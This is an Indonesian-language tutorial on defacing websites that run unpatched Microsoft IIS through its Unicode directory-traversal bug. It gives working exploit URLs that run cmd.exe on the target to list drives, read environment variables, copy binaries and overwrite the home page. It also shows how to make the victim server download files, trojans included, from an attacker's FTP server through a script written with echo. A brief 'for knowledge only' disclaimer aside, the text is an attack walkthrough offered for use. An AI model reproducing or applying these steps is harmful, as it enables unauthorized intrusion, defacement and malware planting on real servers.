=================================================================================================
Jika Anda Ingin Berbagi Ilmu
Tentang Ilmu Komputer
Tolong Kirimkan Tips dan Trik atau Artikel Anda
Ke Rozy@hehe.com atau Rozy_eksa@yahoo.com
VER Bahasa Indonesia
=================================================================================================
Men-deface Website
Melalui Bug Unicode Microsoft IIS
Melalui artikel ini penulis ingin berbagi pengalaman
mengenai cara men-deface website yang menggunakan
Microsoft Internet Information Server atau Microsoft
IIS.
Sebelumnya penulis perlu menjelaskan bahwa artikel ini
tidak mempunyai maksud tertentu selain untuk ilmu
pengetahuan dan kebebasan dalam berbagi ilmu
pengetahuan. Penulis tidak bertanggung jawab apapun
terhadap segala sesuatu yang terjadi akibat artikel
ini. Artikel ini bersifat terbuka yang berarti Anda
bisa memberikan kritik dan saran terhadap artikel ini
melalui Rozy@hehe.com
atau Rozy_eksa@yahoo.com.
Anda dilarang keras mengutip sebagian atau seluruh
artikel ini tanpa sepengetahuan penulis.
Microsoft Internet Information Server atau MS IIS
4.0/5.0 memiliki suatu bug yang dinamakan
"unicode bug". Penulis tidak akan
menjelaskan panjang lebar mengenai "unicode
bug" ini karena penulis takut salah menjelaskan.
Yang jelas dengan bug ini kita bisa mengeksplorasi
komputer target dengan hanya menggunakan internet
browser.
Misi kita yang utama adalah men-deface suatu situs
web. Bagi Anda yang belum mengetahui apa itu deface,
deface adalah suatu aktvitas mengubah halaman depan
suatu situs web menjadi sesuka kita.
Yang Anda perlukan dalam misi kali ini hanya tiga:
-
Internet
browser, misalnya Microsoft Internet Explorer,
Netscape Navigator atau Opera
-
Pengetahuan
mengenai perintah-perintah dalam sistem operasi
Windows NT. Ini dikarenakan sampai artikel ini
ditulis IIS hanya jalan di Windows NT.
-
Imajinasi
Anda, imajinasi Anda sangat mempengaruhi hasil
pekerjaan Anda. Kemampuan yang tinggi dipadu
dengan imajinasi yang kuat akan menghasilkan
sesuatu yang mungkin tidak akan didapatkan oleh
orang lain.
Mari
kita mulai misi deface kita kali ini.
Pertama Anda harus menentukan target situs yang akan
di deface. Penulis ambil contoh saja target situs yang
menjadi sasaran adalah www.targethost.com. Situs
target ini bisa mengandung beberapa kemungkinan dari
segi webserver yang digunakan yaitu:
-
Menggunakan
web server yang bukan MS IIS dan berjalan di
sistem operasi yang bukan Windows NT atau Windows
2000.
-
Menggunakan
web server yang bukan MS IIS tapi berjalan di
sistem operasi Windows NT atau Windows 2000.
-
Menggunakan
IIS tapi sudah di-patch atau diperbaiki bug
unicode nya.
-
Menggunakan
IIS dan belum di-patch bug unicode nya.
Dari
semua kemungkinan diatas hanya kemungkinan yang
terakhir yang bisa membuat misi kali ini sukses.
Karena sasaran kita adalah www.targethost.com maka
sekarang coba ketik URL seperti di bawah ini pada
internet browser Anda:
http://www.targethost.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
Ada
dua kemungkinan yang tampil pada browser Anda yaitu:
-
Muncul
pesan error di browser Anda. Ini terjadi karena
kemungkinan-kemungkinan dari segi web server yang
sudah penulis utarakan diatas.
-
Muncul
daftar file-file dari drive C pada komputer server
target. Bila ini terjadi maka www.targethost.com
tadi ada kemungkinan untuk bisa kita deface.
Mari
kita perhatikan URL ajaib diatas. Penulis membagi URL
diatas menjadi empat bagian yaitu:
-
Bagian
host, yaitu "http://www.targethost.com"
-
Bagian
eksploit string, yaitu
"/scripts/..%c1%9c.."
-
Bagian
folder, yaitu "/winnt/system32/"
-
Bagian
command, yaitu "cmd.exe?/c+dir+c:\"
Kita
lihat pada bagian command diatas menunjukkan perintah
"dir c:\" yang berarti melihat seluruh
file-file yang berada pada root drive C. Anda bisa
mencoba perintah yang lain seperti "dir d:\"
atau yang lain. Ingat, Anda harus mengganti karakter
spasi dengan tanda "+". Anda bahkan bisa
mengetahui konfigurasi IP address komputer tujuan
dengan mengetikkan perintah "ipconfig.exe
/all"
Selain itu ada beberapa kemungkinan yaitu bisa saja
URL diatas masih menampilkan error pada browser Anda.
Untuk itu Anda bisa mengganti bagian eksploit string
dengan beberapa pilihan berikut:
Jika
semua pilihan eksploit string diatas masih memunculkan
pesan error pada browser Anda maka kemungkinan besar
IIS pada web server sudah di-patch bug unicode nya.
Dan Anda bisa memilih situs lain sebagai sasaran.
Mari kita lanjutkan kembali misi kita. Ternyata
setelah Anda ketik URL diatas kemudian di browser Anda
muncul daftar file pada root drive C web server
sasaran Anda.
Langkah berikutnya adalah mengetahui di folder manakah
diletakkan dokumen-dokumen web seperti default.htm,
default.html, default.asp, index.asp, index.html atau
index.htm. Folder ini dinamakan web root. Biasanya web
root berada di C:\InetPub\wwwroot\ atau
D:\InetPub\wwwroot. Tapi terkadang web administrator
menggantinya dengan yang lain. Untuk mengetahuinya
Anda cukup mengetikkan URL seperti di bawah ini:
http://www.targethost.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+set
URL
diatas akan menampilkan daftar environment variable
dari web server sasaran. Lihat pada bagian
PATH_TRANSLATED. Pada bagian tersebut akan menunjukkan
folder dari web root. Kita ambil contoh misalnya isi
dari PATH_TRANSLATED adalah C:\InetPub\wwwroot.
Cara lain untuk mengetahui folder web root berada
adalah dengan mengetikkan URL berikut:
Sekarang
kita harus meng-copy-kan file cmd.exe pada direktori
C:\winnt\system32 ke suatu folder lain atau folder
yang sama dengan nama lain, misalnya cmdku.exe. Untuk
meng-copy cmd.exe menjadi cmdku.exe pada folder
winnt\system32 maka cukup ketik URL berikut:
http://www.targethost.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\cmdku.exe
Tujuan
kita meng-copy cmd.exe menjadi cmdku.exe adalah agar
kita bisa menjalankan perintah echo dengan lengkap.
Apabila Anda menggunakan cmd.exe maka perintah echo
tidak bisa digunakan untuk menulis atau membuat file.
Sekarang Anda sudah bisa mendeface situs sasaran kita.
Kali ini kita akan mendeface dengan menggunakan
perintah internal echo. Deface model ini sangat
sederhana dan cepat. Kita tidak perlu meng-upload file
apapun ke web server sasaran. Perintah echo dapat
digunakan untuk menulis pesan dan kemudian disimpan ke
suatu file. Misalkan Anda akan deface situs sasaran
dengan pesan "defaced by scriptkiddies",
Anda bisa mengetikkan URL seperti di bawah ini:
http://www.targethost.com/scripts/..%c1%9c../winnt/system32/cmdku.exe?/c+echo+defaced+by+scriptkiddies+>c:\InetPub\wwwroot\default.htm
URL
diatas akan menulis kata "defaced by
scriptkiddies" pada file default.htm di folder
c:\InetPub\wwwroot, sekarang coba Anda buka URL
www.targethost.com. Jika web server menggunakan file
default.htm sebagai file default situs tersebut maka
hasil deface Anda akan segera terlihat. Jika tidak
berhasil maka kemungkinan file default situs tersebut
bukan default.htm.
Ada
beberapa kemungkinan file default situs seperti
index.html, index.htm, index.asp, default.htm,
default.html, default.asp atau file lain yang sudah
ditentukan oleh web admin.
Cara kedua untuk men-deface situs adalah dengan
menggunakan ftp script. Dengan cara ini Anda bisa
meng-upload file Anda ke komputer web server. Hal-hal
yang diperlukan adalah:
-
FTP
server, sebagai tempat menampung file yang hendak
Anda transfer ke web server tujuan. Anda bisa
memiliki ftp server dengan cara mendaftarkan diri
ke penyedia situs gratis seperti
www.virtualave.net atau www.freeservers.com
-
File-file
yang hendak Anda transfer ke web server tujuan.
File disini bisa berupa apa saja, mulai dari file
html ataupun trojan.
-
Pengetahuan
akan perintah-perintah ftp.
Berbeda
dengan cara sebelumnya yang menggunakan perintah echo,
kali ini kita akan memerintahkan web server tujuan
untuk mendownload file yang ada pada ftp server Anda.
Pada sistem operasi Windows terdapat suatu perintah
yang dinamakan ftp.exe. Dengan perintah ini kita bisa
memerintahkan komputer web server untuk mendownload
file dari ftp server manapun di dunia ini. Bagaimana
sih caranya? Ikuti saja langkah-langkah berikut ini:
-
Siapkan
file yang akan Anda transfer ke web server tujuan.
Misalkan Anda sudah membuat halaman deface Anda
pada file default.htm.
-
Upload
file default.htm Anda ke ftp server Anda. Misalkan
alamat ftp server Anda adalah ftp.myftp.com dengan
username ftpku dan password nya ftppass.
-
Sekarang
Anda tinggal memerintahkan komputer web server
untuk mendownload file tersebut. Anda harus
membuat ftp script pada web server tujuan. FTP
script adalah sekumpulan perintah-perintah untuk
login ke ftp server dan mengadakan transaksi di
ftp server. FTP script untuk kasus diatas adalah
sebagai berikut:
open ftp.myftp.com
ftpku
ftppass
get default.htm
c:\default.htm
bye
FTP script diatas kemudian Anda simpan ke suatu
file, misalnya c:\ftpscript.txt
-
Bagaimanakah
caranya menyimpannya? Caranya sangat mudah. Anda
bisa menggunakan perintah echo untuk menulisnya.
Contohnya adalah seperti berikut:
echo open
ftp.myftp.com >c:\ftpscript.txt
echo ftpku
>>c:\ftpscript.txt
echo ftppass
>>c:\ftpscript.txt
echo get default.htm
c:\default.htm >>c:\ftpscript.txt
echo bye
>>c:\ftpscript.txt
-
Kemudian
Anda bisa menjalankan ftp script tadi dengan cara
mengetikkan perintah "ftp.exe
-s:c:\ftpscript.txt", atau kalau pada browser
maka ketik seperti dibawah:
http://www.targethost.com/scripts/..%c1%9c../winnt/system32/ftp.exe?-s:c:\ftpscript.txt
-
Web
server tujuan akan login ke ftp server Anda dan
kemudian mendownload file default.htm dan akan
disimpan ke c:\default.htm
-
Setelah
file tersebut ter-copy maka Anda bisa meng-copy
file tersebut ke folder web root dan selanjutnya
bisa Anda lihat melalui browser.
-
Misi
selesai.
Selain
menggunakan ftp script sebenarnya masih ada lagi cara
lain seperti menggunakan teknik tftp atau trivia ftp.
Tetapi penulis belum pernah mencoba cara ini. Jika ada
diantara Anda yang sudah mencoba mungkin bisa berbagi
pengalaman dengan cara menulis artikel kepada kita.
Sekian dan terimakasih.
|